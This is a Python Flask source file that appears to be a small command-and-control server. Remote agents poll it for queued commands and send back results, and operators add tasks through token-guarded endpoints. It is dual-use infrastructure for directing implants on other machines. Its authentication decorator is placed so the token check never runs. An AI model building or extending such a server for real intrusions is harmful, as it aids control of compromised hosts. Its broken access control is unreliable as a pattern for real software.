server.py

import uuid
import json
import secrets
from datetime import datetime
from flask import Flask, request, jsonify

app = Flask(__name__)
agents = {}

def create_secret_token():
    return secrets.token_hex(16)

secret_token = create_secret_token()

class Task:
    def __init__(self, task_id, timestamp, cmd, args, results, complete):
        self.task_id = task_id
        self.timestamp = timestamp
        self.cmd = cmd
        self.args = args
        self.results = results
        self.complete = complete

    def to_json(self):
        return json.dumps({'args': self.args, 'cmd': self.cmd, 'task_id': self.task_id})

def create_task(cmd, args, results=None, complete=False):
    task_id = str(uuid.uuid4())
    timestamp = str(datetime.now())
    return Task(task_id, timestamp, cmd, args, results, complete)

class Agent:
    def __init__(self, agent_id, ext_ip, timestamp, host_information=None):
        self.agent_id = agent_id
        self.ext_ip = ext_ip
        self.timestamp = timestamp
        self.task_queue = []
        self.host_information = host_information if host_information else {}

    def add_task(self, task):
        self.task_queue.append(task)

    def next_task(self):
        return self.task_queue.pop(0)

    def is_queue_empty(self):
        return len(self.task_queue) == 0

    def update_agent(self, new_host_information):
        self.host_information.update(new_host_information)

    def to_json(self):
        return json.dumps({
            'agent_id': self.agent_id,
            'ext_ip': self.ext_ip,
            'timestamp': self.timestamp,
            'task_queue': self.task_queue,
            'host_information': self.host_information
        })

def create_agent(agent_id, ext_ip):
    timestamp  = str(datetime.now())
    return Agent(agent_id, ext_ip, timestamp)

def decode_text(text):
    return text.decode().replace("\x00", "").strip()

def validate_token(func):
    def wrapper(*args, **kwargs):
        token = request.headers.get('Authorization')
        if not token:
            return jsonify({'error': 'Missing Authorization header'}), 401
        if token != secret_token:
            return jsonify({'error': 'Invalid token'}), 401
        return func(*args, **kwargs)
    return wrapper
    # curl -X POST -H "Content-Type: application/json" -H "Authorization: secret-token" -d '{"agent_uuid": "1234", "cmd": "run", "args": ["arg1", "arg2"]}' http://localhost/tasking

@app.route('/todo', methods=['GET', 'POST'])
def todo():
    if request.method == "GET":
        agent_id = request.args.get('agent_id')
        print("[+] Agent: {}".format(agent_id))
        if not agent_id:
            return jsonify({'error': 'Missing agent_id parameter'}), 400
        if agent_id not in agents:
            agent = create_agent(agent_id, request.remote_addr)
            agents[agent.agent_id] = agent
            print("[+] Agent Created: {}".format(json.dumps(agent.__dict__)))
        else:
            agent = agents[agent_id]
        if agent.is_queue_empty():
            print("[*] Empty task queue")
            return jsonify({'task_id': "99", 'cmd': "", 'args': ""})
        else:
            next_task = agent.next_task()
            json_task = next_task.to_json()
            return json_task, 200
    elif request.method == "POST":
        print(decode_text(request.data))

        # Add prompt to set task_complete = True, save results, etc
        return "Thank you!", 200

@validate_token
@app.route('/tasking', methods=['POST'])
def tasking():
    agent_id = request.json.get('agent_id')
    cmd = request.json.get('cmd')
    args = request.json.get('args')
    if not agent_id or not cmd or not args:
        return jsonify({'error': 'Missing required parameters'}), 400
    if agent_id not in agents:
        return jsonify({'error': 'Agent not found'}), 400
    task = create_task(cmd, args)
    agents[agent_id].add_task(task)
    print("[+] Task Created: {}".format(json.dumps(task.__dict__)))
    return jsonify({'task_id': task.task_id}), 201

@validate_token
@app.route('/alltasks', methods=['GET'])
def all_tasks():
    all_tasks = []
    for agent_id in agents:
        agent = agents[agent_id]
        tasks = [task.to_json() for task in agent.task_queue]
        all_tasks.extend(tasks)
    return jsonify({'tasks': all_tasks}), 200

@validate_token
@app.route('/tasks', methods=['GET'])
def tasks():
    agent_id = request.args.get('agent_id')
    if not agent_id:
        return jsonify({'error': 'Missing agent_id parameter'}), 400
    if agent_id not in agents:
        return jsonify({'error': 'Agent not found'}), 400
    agent = agents[agent_id]
    tasks = [task.to_json() for task in agent.task_queue]
    return jsonify({'tasks': tasks}), 200

if __name__ == '__main__':
    print(secret_token)
    app.run(port=80, debug=False)